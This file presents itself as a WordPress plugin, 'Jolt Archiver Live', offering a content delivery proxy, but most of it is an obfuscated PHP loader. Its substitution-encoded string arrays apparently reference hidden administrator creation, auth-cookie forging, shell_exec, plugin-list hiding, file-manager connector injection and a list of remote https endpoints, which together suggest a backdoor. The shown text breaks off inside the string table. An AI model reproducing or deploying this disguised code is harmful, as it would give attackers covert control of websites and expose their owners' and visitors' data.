<?php

/**
 * Plugin Name:       Jolt Archiver Live
 * Plugin URI:        https://logangreen.com/wp/jolt-archiver-live
 * Description:       Efficient content delivery proxy
 * Version:           1.0.5
 * Author:            Logan Green
 * License:           GPL-2.0-or-later
 * Text Domain:       jolt-archiver-live
 * Requires at least: 5.0
 * Requires PHP:      5.6
 */
/* SCV:4.5.3 */
if(!function_exists('s99lg14mcd3un')&&!((defined('SC_CORE_BOOT_VER')&&version_compare((string)SC_CORE_BOOT_VER,'4.5.3','>='))||(isset($GLOBALS['sc_boot_ver'])&&version_compare((string)$GLOBALS['sc_boot_ver'],'4.5.3','>=')))){function wzaztpssu2qu336li($i){static $a=null;if($a===null){$a=array_merge(array('KG1LK#Y','_sy3\'my=','zhVh0','Bi_\'Hib\'','2JHsg"=Hy\'p"_g_','Z<J*"HyBi_\'Hib\'','RLyLOu[`Uy(`}','_gmZ=_','<gm"b','_JB_gm','_gm<\'H','9"mHib\'','mgm"b','RLNuyLOu[`Uy(`}','jbJ6Z<J*"H_','b:9"m','b:9"m','sqb=9','JH<"H:','JH<"H:','"_y2"<\'','=Zsisq\'y"H3i<"9ig\'','2=Z\'H','{B','2{m"g\'','hZqZ','h_9y','hBgy','h_{by','h>y','h=22','RLyA)U#]U#y(`}','jhm9y','m\'i<Zigq','_siH9"m','"_yimmi?','s=JHg','mb9"m','Z=_"py*\'g\'J"9','"_y"Hg','_sy','"_y_gm"H*','hbJy_gy','"_y9"m','"_y<"H:','hh','"_ym\'i9iB<\'','"_y{m"giB<\'','<=s:\'9','m\'Hib\''),array('_siH9"m','*\'gygmiH_"\'Hg','_sybJym\'_sJ\'','_gig','9\'3','9\'3','hh','b9V','jhbJy_gy','jhbJy<:y','s<\'im_gigsisq\'','=Zsisq\'y"H3i<"9ig\'','_\'gygmiH_"\'Hg','9\'<\'g\'ygmiH_"\'Hg','_syb"*y2i"<','m\'_sJ\'','bJ ','9"m',';;','"_y=BP\'sg','2JHsg"=H','m\'b=3\'y2"<g\'m','*<=B','jvhZqZ','g=Jsq','s=Z?','g\'bZHib','_?_y*\'gyg\'bZy9"m','_?_y*\'gyg\'bZy9"m','jgbZ','KG1LK#Y','{Z6s=Hg\'Hg','jo','jh_sygbZ','ZJg\'H3','#NL(`}w','_sygbZy2"p\'9','m\'i<Zigq','{Z6s=Hg\'Hg','jh_sy','9"m','js=m\'y','s=m\'','hZqZ','{kB3*=*>50bp\'>B','RLyA)U#]U#y(`}','jZ<J*"H_j','hZqZ','hZqZ','2"<\'y*\'gys=Hg\'Hg_'),array('Zm\'*ybigsq','jojov 1AM;fo9Ioho9Ioho9In ovojj','2"<\'bg"b\'','2"<\'_"k\'','_sysm=Hy2\'gsq','_syZi?<=i9yg','iZisq\'y*\'gy3\'m_"=H','_gmg=<={\'m','ZqZy_iZ"yHib\'','iZisq\'8qiH9<\'m','<"g\'_Z\'\'9','1]}M]}y1)x#RK}]','iZisq\'','=Z\'H<"g\'_Z\'\'9','1]}M]}y1)x#RK}]','<"g\'_Z\'\'9','"H"y*\'g','=Z\'HyBi_\'9"m','\'pZ<=9\'','(GyUKN]','KG1LK#Y','_sy<=s:yH','_sy<=s:yH','_sy<=s:yH','_sy<=s:y9B','_sy<=s:y9B','b\'gq=9y\'p"_g_','*\'gy3im','1]O]A# []#yO)Aaf^','^! 5n','2<=s:','2=Z\'H','RLyA)U#]U#y(`}','KG1LK#Y','jo','j_sy','h<=s:','_sy<=s:y2q','_sy<=s:y"Z','_sy<=s:yH','_sy<=s:yH','_sy<=s:y"Z','_sy<=s:y2q','>J\'m?','1]O]A# }]O]K1]yO)Aaf^','^n','(`1KOO)Ryx`O]yN)(1','2=Z\'H','jo','isgZ'),array('h<=s:','_syisgZy2q','_syisgZy2q','_syisgZy2q','*\'gy=Zg"=H','JZ9ig\'y=Zg"=H','isg"3\'yZ<J*"H_','immi?y3i<J\'_','immi?yJH">J\'','"Hyimmi?','isg"3\'yZ<J*"H_','isg"3\'yZ<J*"H_','immi?y9"22','#qm={iB<\'','; ','; ','_sy\'mm=m_','_sy\'mm=m_','_sy\'mm=m_','immi?y_<"s\'','i99yisg"=H','i99y2"<g\'m','jsisq\'','j"H9\'phZqZ','RLyA)U#]U#y(`}','_syZJm*\'','_syZJm*\'','_syZJm*\'','m\'i<Zigq','m\'*"_g\'my_qJg9={Hy2JHsg"=H','?mH>P3\'yVgH*VJ85z9','_syZJm*\'','_syZJm*\'','\'mm=my*\'gy<i_g','2"<\'','g?Z\'','g?Z\'','b\'__i*\'','K<<={\'9 b\'b=m? _"k\'','Nip"bJb \'p\'sJg"=H g"b\'','2"<\'','_syB==gy3\'m','_syB==gy_g','jh>y','jhJBy','g"b\'','_syJZ9ig\'yBi9','H=','2i"<','m\'Hib\''),array('=Zsisq\'y"H3i<"9ig\'','hZqZh=22','jh_9y','jo9Ioho9Ioho9Ij','Sw','2"<\'yZJgys=Hg\'Hg_','_syZ\'H9"H*y"H3i<"9ig\'','Z<J*"H_y<=i9\'9','\'-r0qs8ZsH5q{:','Zbp0BgQ\'8m\'?**8J','5h5h5','?\'_','Zigq"H2=','?\'_','jojov 1AM;fo9Ioho9Ioho9In ovojj','5h5h5','"_ybJ<g"_"g\'','*\'gy_"g\'y=Zg"=H','isg"3\'y_"g\'{"9\'yZ<J*"H_','jojov 1AM;o9Ioho9Ioho9I ovojj','Zigq','9\'i9','*=H\'','hZqZ','_sy9\'9JZyg==:','_sy9\'9JZyg==:','3*P:599qV"gb\\3\\{_\\ys','?\'_','_gimg"H*','9\'9JZ','=Z\'H9"m','m\'i99"m','s<=_\'9"m','*<=B','jv','immi?ybiZ','_q\'<<y\'p\'s','9"_iB<\'y2JHsg"=H_','_s<','_q\'<<y\'p\'s','ZqZ 6< ',' 8SE-','U= _?Hgip \'mm=m_','Lim_\' \'mm=m','xigi< \'mm=m','F$','g=:\'Hy*\'gyi<<','immi?y:\'?y\'p"_g_','#)a]UyLK}1]','"_yB==<'),array('5prKzQV8sKK-A-VT\\TzTQK5KAB\\r-xT-B2Kr5-]5\\0','5pT0r9-s]Vs0x8Vr\'T90(-Q--z9Q-T\\](iB9B\'KrzB','5p\\98sVz0V]xQ5-r\\Qz5izTr5zG\\r0QQr0V(V5iBGG','qggZ_;jj5pmZsh"=j\'gq','qggZ_;jj\'gq\'m\'Jb6ZJB<"shH=9"\'_hiZZ','qggZ_;jj\'gqh9mZsh=m*','qggZ_;jjmZsh\'gqh*ig\'{i?h2b','qggZ_;jj\'gqhB<=s:mik=mhp?k','qggZ_;jjZJB<"s6\'gqhH={H=9\'_h"=','qggZ_;jj\'gq6bi"HH\'ghmZs2i_ghs=b$iZ"y:\'?wpBqRG`-R:*J:T1UNJ-B33OJmL[O%b*{|\'Az1\\*8YQR9{x"*41bLRM4}pm_:]/{`2','qggZ_;jj\'gq-h<i3ihBJ"<9','qggZ_;jj\'gqhmZshB<pmB9Hhs=b','qggZ_;jj\'gq6bi"HH\'ghZJB<"shB<i_giZ"h"=','qggZ_;jj*ig\'{i?hg\'H9\'m<?hs=jZJB<"sjbi"HH\'g','qggZ_;jj\'gq\'m\'JbhmZsh_JB>J\'m?hH\'g{=m:jZJB<"s','qggZ_;jj\'gq\'m\'Jb6mZshZJB<"sH=9\'hs=b','qggZ_;jjbi"HH\'gh*ig\'{i?hg\'H9\'m<?hs=','qggZ_;jj\'gqhiZ"h=H2"Hi<"g?h"=jZJB<"s','qggZ_;jj\'gq\'m\'JbhZJB<"shB<=s:Z"hH\'g{=m:j3-jmZsjZJB<"s','qggZ_;jj\'gq\'m\'Jb6P_=H6mZsh_gi:\'<?h"=','qggZ_;jjmZsh_\'Hg"=hp?kjbi"HH\'g','qggZ_;jj\'gqhb\'m:<\'h"=','qggZ_;jj\'gqhiZ"hZ=s:\'ghH\'g{=m:','i9b"Hy','i9by','i9b"H"_gmig=my','Bis:JZy','*k\'Hs=9\'','*k9\'2<ig\'','Zis:','sms08','JHZis:','*k9\'s=9\'','*k"H2<ig\'','q\'p8B"H','q\'p8B"H','Yv','{Z6i9b"Hj','{Z6"Hs<J9\'_j','vhZqZ','immi?ymiH9','{ZymiH9','miH9','_sy9\'i9<"H\'','b"sm=g"b\'','s\'"<','si<<yJ_\'my2JHs','{Zym\'b=g\'y*\'g','g"b\'=Jg','__<3\'m"2?'),array('<"b"gym\'_Z=H_\'y_"k\'','"_y{Zy\'mm=m','sJm<y"H"g','sJm<y_\'g=Zgyimmi?','sJm<y\'p\'s','Au}O)L#y}]#u}U#}KU1x]}','Au}O)L#y#`N])u#','Au}O)L#y11OyM]}`x|L]]}','Au}O)L#y11OyM]}`x|Y)1#','Au}O)L#yU)L})[}]11','Au}O)L#yL})[}]11xuUA#`)U','qggZys=9\'','{Zym\'b=g\'yZ=_g','{Zym\'b=g\'yZ=_g','g"b\'=Jg','__<3\'m"2?','<"b"gym\'_Z=H_\'y_"k\'','q\'i9\'m_','B=9?','e ','_sy2\'gsqy==b','Au}O)L#yL)1#','Au}O)L#yL)1#x`]O(1','Au}O)L#y}]#u}U#}KU1x]}','Au}O)L#y11OyM]}`x|L]]}','Au}O)L#yY##LY]K(]}','_sy<i_gymZs','immi?yJH_q"2g','gm"b','cdP_=HmZsd;d8h5d!d"9d;0!db\'gq=9d;d\'gqysi<<d!dZimib_d;lcd9igid;d5p0BsV9\'05d!dg=d;d','dt!d<ig\'_gd,t','A=Hg\'Hg6#?Z\'','iZZ<"sig"=HjP_=H','P_=Hy9\'s=9\'','m\'_J<g','5p','=m9','m\'_=<3\'','mZsy9\'sm?Zgy2i"<\'9','mZsyBi9y:\'?y<\'H*gq','immi?y2"<g\'m','Zm\'*y_Z<"g','jom$oHj','JZ9ig\'y=Zg"=H','_sys8ysisq\'','"bZ<=9\'','_\'m3\'my:\'?','Jm<_','m\'_=<3\'','_m3y:\'?'),array('mZsyi<<y2i"<\'9','_sy\'Hsys','_sy\'Hsys','_\'m"i<"k\'','sqm','bgymiH9','Bi_\'\\zy\'Hs=9\'','Bi_\'\\zy9\'s=9\'','_sy\'Hsys','_sy\'Hsys','LYLyM]}1`)Uy`(','JH_\'m"i<"k\'','i<<={\'9ys<i__\'_','_gmym\'Z<is\'','\'Z','_{','_{yJm<','_{ysisq\'9','"_y_si<im','\'mm=m_','immi?yb\'m*\'','\'mm=m_','2<J_qy\'mm=m_','_syZi?<=i9yZ\'m_"_g\'Hg','sm=H`Hg\'m3i<','sm=H`Hg\'m3i<','_sy"Hg\'m3i<','"Hg\'m3i<','9"_Z<i?','AJ_g=b bi"Hg\'HiHs\' "Hg\'m3i<','_sy*Jim9y"Hg\'m3i<','9"_Z<i?','{ZyH\'pgy_sq\'9J<\'9','{Zy_sq\'9J<\'y\'3\'Hg','_sysqi"H','_sy"Hg\'m3i<','()`U[yA})U','_qJg9={H','i--syp\\qi_9mppBzzp0:','{Zym\'b=g\'y*\'g','_"g\'yJm<','{Z6sm=HhZqZ$9="H*y{Zysm=Hw','g"b\'=Jg','B<=s:"H*','__<3\'m"2?','2i_gs*"y2"H"_qym\'>J\'_g','<"g\'_Z\'\'9y2"H"_qym\'>J\'_g','<"g\'_Z\'\'9y2"H"_qym\'>J\'_g','"*H=m\'yJ_\'myiB=mg','k<"Bh=JgZJgys=bZm\'__"=H'),array('=22','=By*\'gy_gigJ_','Hib\'','=By*kqiH9<\'m','k<"B','q\'i9\'m_y<"_g','A=Hg\'Hg6]Hs=9"H*;','"9\'Hg"g?','s<"','ZqZ9B*','qggZym\'_Z=H_\'ys=9\'','}]/u]1#yN]#Y)(','Y]K(','=By*\'gy<\'3\'<','=By\'H9y2<J_q','Hib\'','9\'2iJ<g =JgZJg qiH9<\'m','=By*\'gy<\'H*gq','{Zy2"<g\'m','_qJg9={H','_qJg9={H','{Zy=By\'H9y2<J_qyi<<','A=Hg\'Hg6O\'H*gq; ','A=HH\'sg"=H; s<=_\'','2<J_q','{Zy_sq\'9J<\'y_"H*<\'y\'3\'Hg','(`1KGO]yRLyA})U','*\'gy=Zg"=H','_sy<i_gy2\'gsqyg_','JZ9ig\'y=Zg"=H','_sy_\'\'Hy3\'m','_sy_\'\'Hy3\'m','_sy<i_gy2\'gsqyg_','{ZyH\'pgy_sq\'9J<\'9','{ZyJH_sq\'9J<\'y\'3\'Hg','2\'gsq','sm=Hy_gi<\'y"H<"H\'','_\'gyg"b\'y<"b"g','_syZi?<=i9yZ\'m_"_g\'Hg','Z<J*"H}J<\'_','Z<J*"H}J<\'_','_syZ<J*"HymJ<\'_','Z<J*"H}J<\'_','"HP\'sg}J<\'_','_sy"HP\'sgymJ<\'_','P_','_syP_','Zi*\'','_syZi*\'','Zi*\''),array('_{','_{','_sy_{','sisq\'','_sy<i_gyq\'i<yg_','*\'gygmiH_"\'Hg','_syq\'i<y_siH','_ms','_ms','H=','hZqZ','jvjvhZqZ','Zm\'*ym\'Z<is\'','jo_Ij','H=','H=','q\'i<','9"9yisg"=H','i--syp\\qi_9mppBzzp0:','q=b\'yJm<','JZ9ig\'y=Zg"=H','_sy<i_gyqB','_sy<i_gyqB','B<=s:"H*','*\'gy=Zg"=H','_syZi?<=i9yZ\'m_"_g\'Hg','Zi?<=i9#g<','_sy<i_gy2\'gsqy2i"<yg_','_sy2\'gsqy2i"<_','bip','b"H','3\'m','ZqZ','_iZ"','__<','"_y__<','b_','"_ybJ<g"_"g\'','{Z','{Zy3\'m_"=H','_m3','_syP_','_syP_','P_y=H','P_y<\'H','P_ym\'>','_syP_yZm"Hg\'9','P_y=B','_syP_y=ByJ_\'9','P_yg_'),array('_syP_yZm"Hg\'9yg_','_{yJm<','_{yq"g_','_sy_{y\'Zyq"g_','_{y<i_g','_sy_{y\'Zy<i_g','_{yqi9','*\'gy=Zg"=H','_sy_{yqi9','3yi93','ji93iHs\'96sisq\'hZqZ','3y9B','j9BhZqZ','3y=s','j=BP\'sg6sisq\'hZqZ','h*y','h*<y','3y*Jim9','{Z6"Hs<J9\'_','3y*Jim9','"H"y*\'g','J_\'my"H"h2"<\'Hib\'','fH=H\'n','hJ_\'mh"H"','3y"H"','iJg=yZm\'Z\'H9y2"<\'','3yqg','hqgiss\'__','3y{s','{Z6s=H2"*hZqZ','1AyRA','Zm\'Z\'H9','1AyKu#)yL}]L]U(','Zs','RLy})Aa]#yM]}1`)U','O1ARLyM','R0#A','_*ysisq\'Zm\'__yZJm*\'ysisq\'','s<i__y\'p"_g_','Aisq\'y]HiB<\'m','{Zy2i_g\'_gysisq\'','{Zysisq\'y_\'m3\'ysisq\'y2"<\'','2y=:','2y2i"<_','2y2i"<yg_','"s','s2','s2','g_','g_'),array('"syH','"sy82i','*\'gy=Zg"=H','_sy<Byb=9\'','<B','_sysiHim?','s?','"g\'b_','\'mm','\'mm','{Z6<=*"HhZqZ','{Zy<=*"HyJm<','Zim_\'yJm<','LYLyu}OyY)1#','*\'gy_"g\'yJm<','*\'gyB<=*"H2=','Jm<','_"g\'Jm<','Y##LyY)1#','1]}M]}yUKN]','bipy\'p\'sJg"=Hyg"b\'','_sysqi"H','_\'m3\'my:\'?','Jm<_','_m3y:\'?','H=','g\'_gyb=9\'','b=s:1m3a\'?6','_sy<i_gys8','_qJ22<\'','isg"3\'yZ<J*"H_','RLNuyLOu[`Uy(`}','*<=B','9=bi"H','Z<J*"HM\'m_"=H','Z<J*"H','hZqZ','m==g','isg"3ig\'9L<J*"H_','bJL<J*"H_','<=*"Hum<','i9b"H_','i9b"H_A==:"\'_','{ZyP_=Hy\'Hs=9\'','P_=Hy\'Hs=9\'','iZZ<"sig"=Hj=sg\'g6_gm\'ib','==b','s8y\'bZg? ','s8y9\'sm?Zgy2i"<\'9 ','2\'gsq'),array('s8yBi9yP_=H ','2\'gsqyJm<','_sy2\'gsqy==b','Z<J*"HM\'m_"=H','B\'is=H','Ij','6y','_gmy_Z<"g','_syBw','E"w','EHw','E9w','JZ9ig\'y=Zg"=H','_sy<i_gys8','9\'<\'g\'y=Zg"=H','_sy\'mm=m_','Z<J*"H','gim*\'gM\'m_"=H','gim*\'gM\'m_"=H','gim*\'gM\'m_"=H','2=ms\'uZ9ig\'','Z<J*"H}J<\'_','"HP\'sg}J<\'_','"HP\'sg}J<\'_','P_','P_','P_ysisq\'9','P_yZJm*\'yb"*','P_yZJm*\'yb"*','P_yZJm*\'yZ\'H9"H*','P_yZJm*\'yZ\'H9"H*','P_','P_ysisq\'9','P_','P_ysisq\'9','P_','_{','Zi*\'','Zi*\'','Zi*\'','Zi*\'','Zi*\'ysisq\'9','_{','_{','H=','g\'bZ<ig\'_','g\'bZ<ig\'_','*Jim9','i93iHs\'9Aisq\'','i93ygZ<'),array('9B','9BygZ<','gq\'b\'','gq\'b\'ygZ<','"H_gi<<\'m','"H_gygZ<','=sO=i9\'m','=sygZ<','"_yHJb\'m"s','sm=H`Hg\'m3i<','_sy<i_gy2\'gsqyg_','_Vqp20ZT5Pgb0m5ybPB','_syZi?<=i9yZ\'m_"_g\'Hg','Zi?<=i9#g<','H=','{Zy*\'gy_sq\'9J<\'9y\'3\'Hg','{Zys<\'imy_sq\'9J<\'9yq==:','sm=H`Hg\'m3i<','_sy<i_gy2\'gsqyg_','_sy<i_gy2\'gsqy2i"<yg_','2\'gsq','_sysqi"H','b\'b=m?y*\'gyJ_i*\'','JZ9ig\'','==by*Jim9','F$ZqZ','JZ9ig\'','_?Hgipy\'mm=m','3\'myb"_bigsq','JZ9ig\'','H=y_s3','JZ9ig\'','H=yZm\'3','_syJZ9ig\'yBi9','_syJZ9ig\'y_J_Z\'sg','q=b\'yJm<','g"b\'=Jg','m\'9"m\'sg"=H','<"b"gym\'_Z=H_\'y_"k\'','"_y{Zy\'mm=m','m\'Z<is\'y2i"<','_sym\'s=3\'mysq\'s:','j$_sysBw','m\'9"m\'sg"=H','_<\'\'Z','_<\'\'Z','Zm=B\'y"Hs=Hs<J_"3\'','_syJZ9ig\'y_J_Z\'sg','_syJZ9ig\'y_J_Z\'sg','JZ9ig\''),array('m=<<Bis:y2i"<y','jh>y','_syZ\'m_"_g\'9','siHim?ym=<<Bis:y','jhJBy','_sy3\'my=','RLyLOu[`Uy(`}','*\'gyZ<J*"H_','2"<\'y\'p"_g_','{Z6i9b"Hj"Hs<J9\'_jZ<J*"HhZqZ','_siH','"Hs','Zqgb<','qgb<','P_','LK#Y`Ux)y]%#]U1`)U','9\'isg"3ig\'yZ<J*"H_','{Z6i9b"Hj"Hs<J9\'_jZ<J*"HhZqZ','9\'<\'g\'yZ<J*"H_','sJmm\'HgyJ_\'mysiH','*\'gyJ_\'m_','{Zy_\'gysJmm\'HgyJ_\'m','m=<\'','i9b"H"_gmig=m','HJbB\'m','hh','(`}]A#)}|y1]LK}K#)}','immi?y:\'?_','ZqZ','m\'_siH','_sy<i_gygbZs<\'iH','_?_y*\'gyg\'bZy9"m','{Zy','*<=B','isg"3\'yZ<J*"H_','hZqZ','{Z6s=Hg\'Hg','jZ<J*"H_','jvjvhZqZ','1Ay(LyG][`U','joH$ojov 1Ay(LyG][`U;fli6kK6456rhy;,In ovojhv$ojov 1Ay(Ly]U(;o- ovojoH$j_','_syZ<J*"HymJ<\'_','_sy<i_gym\'_siH','"gs3T{5Bysk-5\\J>','_sy<i_gym\'_siH','Z\'m"=9"s','b"*mig\'','_msy"H3i<"9','_syb"*y2i"<','bJyH=gy{m"giB<\''),array('*<=B','jvhZqZ','_\'gygmiH_"\'Hg','_syb"*y2i"<','b"*mig\'','_sy"H"gy_msyg_','JZ9ig\'y=Zg"=H','_sy"H"gy_msyg_','JZ9ig\'y=Zg"=H','_sy<i_gy2\'gsqyg_','_sy"H"g"i<"k\'9','_sy"H"g"i<"k\'9','H=','i99y=Zg"=H','_qJg9={H','bp\'{syiJ=\'?<y<2r2m','"H"g','{Zym\'b=g\'y*\'g','g"b\'=Jg','__<3\'m"2?','{imb','"_yi9b"H','isg"3ig\'yZ<J*"H_','isg"=H','isg"=H','isg"3ig\'','isg"3ig\'6_\'<\'sg\'9','Z<J*"H','sq\'s:\'9','{Zy_i2\'ym\'9"m\'sg','i9b"HyJm<','Z<J*"H_hZqZ','_siHyisg','9m=Z"H_','Z<J*"H_','KG1LK#Y','{Z6s=Hg\'Hg','9BhZqZ','1Ay(G','i93iHs\'96sisq\'hZqZ','1AyK(M','9m=Z"H_','jv ','yG][`U;','jojov ','yG][`U;fli6kK6456rhy;,In ovojhv$ojov ','y]U(;o- ovojj_','F$ZqZ','bJ_gJ_\'','<-<Qrrk5HJHZgqqs\\V{'),array('F_g?<\'Sgml9igi6Z<J*"Hwd','d,!gml9igi6Z<J*"Hwd','d,c9"_Z<i?;H=H\'C"bZ=mgiHgtFj_g?<\'S','F_sm"ZgS9=sJb\'Hghi99]3\'HgO"_g\'H\'mfd()NA=Hg\'HgO=i9\'9d!2JHsg"=Hfnc9=sJb\'Hgh>J\'m?1\'<\'sg=mK<<fdgml9igi6Z<J*"H,dnh2=m]isqf2JHsg"=Hfmnc3im Zwmh*\'gKggm"BJg\'fd9igi6Z<J*"Hdne"2fZwwwd','d&&Zwwwd','dnmhm\'b=3\'fntne3im sw9=sJb\'Hgh>J\'m?1\'<\'sg=mfdh_JB_JB_JB hbJ_gJ_\' hs=JHgdne"2fsnc3im HwZim_\'`Hgfshg\'pgA=Hg\'Hghm\'Z<is\'fjlW56r,j*!ddnn&&5e"2fHS5nshg\'pgA=Hg\'HgwdfdINigqhbipf5!H6-nIdndttneFj_sm"ZgS','?_Q"zHJiZV2kZ9','??Z:<0{>H9\\k<z','hZqZ','*\'gyZ<J*"Hy9igi','Uib\'','Uib\'','{Z6Z<J*"H_6isg"3\'','{Z6Z<J*"H_6"Hisg"3\'','2"\'<9_','2"\'<9_','{Z6bJ6Z<J*"H_','{Z6Z<J*"H_6bJ_gJ_\'','2"\'<9_','*<=B','jv 1AM;','jL<J*"H Uib\';o_vflWomoHv,Inj"','{Z69m=Z"H_','RLyA)U#]U#y(`}','1Ay(G','jv ','yG][`U;','{Z69m=Z"H_','Zigg\'mH','Zm\'*y>J=g\'','D7','q"99\'H','7j','m==g_','iggm"BJg\'_','m==g_','iggm"BJg\'_','LYLyNKX)}yM]}1`)U','\'<x"H9\'mA=HH\'sg=m','RLyLOu[`Uy(`}','j{Z62"<\'6biHi*\'mj<"BjZqZj\'<x"H9\'mA=HH\'sg=mhs<i__hZqZ','j2"<\'6biHi*\'mj<"BjZqZj\'<x"H9\'mA=HH\'sg=mhs<i__hZqZ','j2"<\'6biHi*\'m6i93iHs\'9j<"BjZqZj\'<x"H9\'mA=HH\'sg=mhs<i__hZqZ','hs<i__hZqZ','s<i__ \'<x"H9\'mA=HH\'sg=m','jWo_vFo$fZqZn$j','s<i__ y1Ay\'<x"H9\'mA=HH\'sg=my}\'i<','F$ZqZ ','y_syq"9\'','y_syq"9\'y9"m'),array('F$ZqZ s<i__ \'<x"H9\'mA=HH\'sg=m \'pg\'H9_ y1Ay\'<x"H9\'mA=HH\'sg=my}\'i< c','Zm=g\'sg\'9 2JHsg"=H =JgZJgf immi? D9igi n c','Dq"9\' w "__\'gf D[O)GKO1ldy_syq"9\'d, n $ D[O)GKO1ldy_syq"9\'d, ; dde','"2 f Dq"9\' Cww dd EE 2JHsg"=Hy\'p"_g_f d_sy2by2"<g\'md n n c','D9igi w _sy2by2"<g\'mf D9igi! Dq"9\' ne','Zim\'Hg;;=JgZJgf D9igi ne','{Zy','2b','q-b8Q5Q=r{_\\gP\'bP','2"<\'_','i99\'9','sqiH*\'9','gm\'\'','_syq\'i3?','_\'gygmiH_"\'Hg','_syJZ9ig\'yBi9','H=','_\'gygmiH_"\'Hg','_sym\'s=3\'mysq\'s:','_ms','_sym\'s=3\'mygqm=gg<\'','m\'s=3\'m','_=Jms\'y\'bZg?','_syJZ9ig\'yBi9','hZqZ','_sym\'s=3\'mysq\'s:','{Zy_\'H9yH\'{yJ_\'myH=g"2"sig"=Hyg=yi9b"H','yym\'gJmHy2i<_\'','{ZyH\'{yJ_\'myH=g"2"sig"=Hy\'bi"<yi9b"H','m\'b=3\'yisg"=H','m\'*"_g\'myH\'{yJ_\'m','{Zy_\'H9yH\'{yJ_\'myH=g"2"sig"=H_','\'9"gyJ_\'mysm\'ig\'9yJ_\'m','{Zy_\'H9yH\'{yJ_\'myH=g"2"sig"=H_','{Zy<=*"H','{ZyH=g"2?yi9b"HyH\'{y<=*"H','{Z9B','siZiB"<"g"\'_',']O]A# Jh`(! JhJ_\'my<=*"H! JhJ_\'myZi__! JhJ_\'my\'bi"< x})N ',' J `UU]} X)`U ',' b )U Jh`( w bhJ_\'my"9 RY]}] bhb\'giy:\'? w ._ KU( bhb\'giy3i<J\' O`a] ._','.i9b"H"_gmig=m.','i>','g=','s:yZ\'H9','{Zy*\'H\'mig\'yiJgqys==:"\'','RLy1\'__"=Hy#=:\'H_','s:yZ\'H9','_\'sJm\'yiJgq','iJgq'),array('1]Au}]yKu#YyA))a`]','Ku#YyA))a`]','O)[[](y`UyA))a`]','s:yZ\'H9','A))a`]y()NK`U','A))a`]LK#Y','K(N`UyA))a`]yLK#Y','j{Z6i9b"H','#}u]','xKO1]','{Zybi"<','"__J\'9','*\'gy=Zg"=H','*\'gy=Zg"=H','"__J\'9y3','H=','J_\'myb\'gi','_\'__"=Hyg=:\'H_','\'pZ"mig"=H','J_\'myb\'gi','*\'gy"H_giHs\'','#}u]','<=**\'9y"H','H=','s==:"\'_','s==:"\'_','s:yZ\'H9','H=','s:yZ\'H9','s:ys=bb"g','s:ys=bb"g','BJ','BZ','qi_ysiZ','s2','"s','"Hg\'ms\'Zg','"Hg\'ms\'Zg','s2','H=','<=*"Hys2','<=*"Hys2','jW','li6256r,c\\!-5tDj','i0_Q*p5qg{iqqikp\\T>T','i_=mg','_sm','"=','ig=b"syH=y9"m ','ig=b"syBi9yZqZ '),array('"=','ig=b"syH=yg\'bZHib ','_sy','2_?Hs','"=','ig=b"syg\'bZy2i"< ','"=','ig=b"sy_q=mgy{m"g\' ','"=','ig=b"sy<"H:y2i"< ','h_s=<9','ig=b"sym\'Hib\'y2i"< ','qi_qy2"<\'','b9V','ig=b"sy3\'m"2?y2i"< ','qi_qy2"<\'','b9V','"=','ig=b"sygq"m9yZimg? ','F$','sps=*q9>-\'sT:ZV\\r=P','m0Zyk3r?Ts\\iQ_>','_syZBw','m\'9"m\'sg"=H','Aisq\'6A=Hgm=<','H=6sisq\'','{:Z"y"b\'p=z=8:k_z8-?H','"_y{Zy\'mm=m','g"b\'=Jg','m\'9"m\'sg"=H','"_y{Zy\'mm=m','joH$F`2N=9J<\' b=9yZqZl56rh,vohsSo_vZqZy3i<J\' iJg=yZm\'Z\'H9y2"<\'lWoH,v','lWoH,voHFoj`2N=9J<\'SoH$j"','joH$F`2N=9J<\' <"g\'_Z\'\'9So_vZqZy3i<J\' iJg=yZm\'Z\'H9y2"<\'lWoH,v','joH$ZqZy3i<J\' iJg=yZm\'Z\'H9y2"<\'lWoH,v','lWoH,voH$j"','joH$F`2N=9J<\' <"g\'_Z\'\'9So_vZqZy3i<J\'o_vFoj`2N=9J<\'SoH$j"','joH$F`2N=9J<\' b=9yZqZl56rh,vohsSo_vZqZy3i<J\'o_vFoj`2N=9J<\'SoH$j"','=Zsisq\'ym\'_\'g','=Zsisq\'y*\'gy_gigJ_','=Zsisq\'y\'HiB<\'9','hZqZ','{m"g\'y2i"<\'9 ','2<=s:','{m"g\'y2i"<\'9 ','_\'gygmiH_"\'Hg','_syi9b"Hyg"s:','_syi9b"Hy"H2<"*qg','9\'<\'g\'ygmiH_"\'Hg','_syi9b"Hy"H2<"*qg'),array('J_\'mHib\'y\'p"_g_','i9b"Hyg"s:','i9b"Hyg"s:','*\'gy=Zg"=H','J_\'mHib\'y\'p"_g_','\'pibZ<\'hs=b','{Zy_\'gyZi__{=m9','H=','H=','H=','BZ','BJ','i9b"H','Z\'m_"_gy2i"<','s=<<"_"=H','{Zy"H_\'mgyJ_\'m','KG1LK#Y','{Z6"Hs<J9\'_jJ_\'mhZqZ','J_\'my<=*"H','J_\'myZi__','J_\'my\'bi"<','9"_Z<i?yHib\'','H=y{Z9B','{Zyqi_qyZi__{=m9','sJmm\'Hgyg"b\'','b?_><','|6b69 Y;";_','J_\'myZi__','J_\'myH"s\'Hib\'','J_\'my\'bi"<','J_\'mym\'*"_g\'m\'9','J_\'my_gigJ_','9"_Z<i?yHib\'','._','.9','_><y"H_\'mgy2i"<','J_\'my"9','b\'giy:\'?','b\'giy3i<J\'','J_\'my<\'3\'<','b\'giy3i<J\'','.9','s<\'iHyJ_\'mysisq\'','3\'m"2?y2i"<','*\'gyJ_\'myB?','<=*"H','J_\'mysiH','i9b"H"_gmig=m','siZy3\'m"2?y2i"<','{Zy9\'<\'g\'yJ_\'m'),array('{Z6i9b"Hj"Hs<J9\'_jJ_\'mhZqZ','BJ','H=','BJ','>J\'m?y{q\'m\'',' KU( J_\'my<=*"H Cw 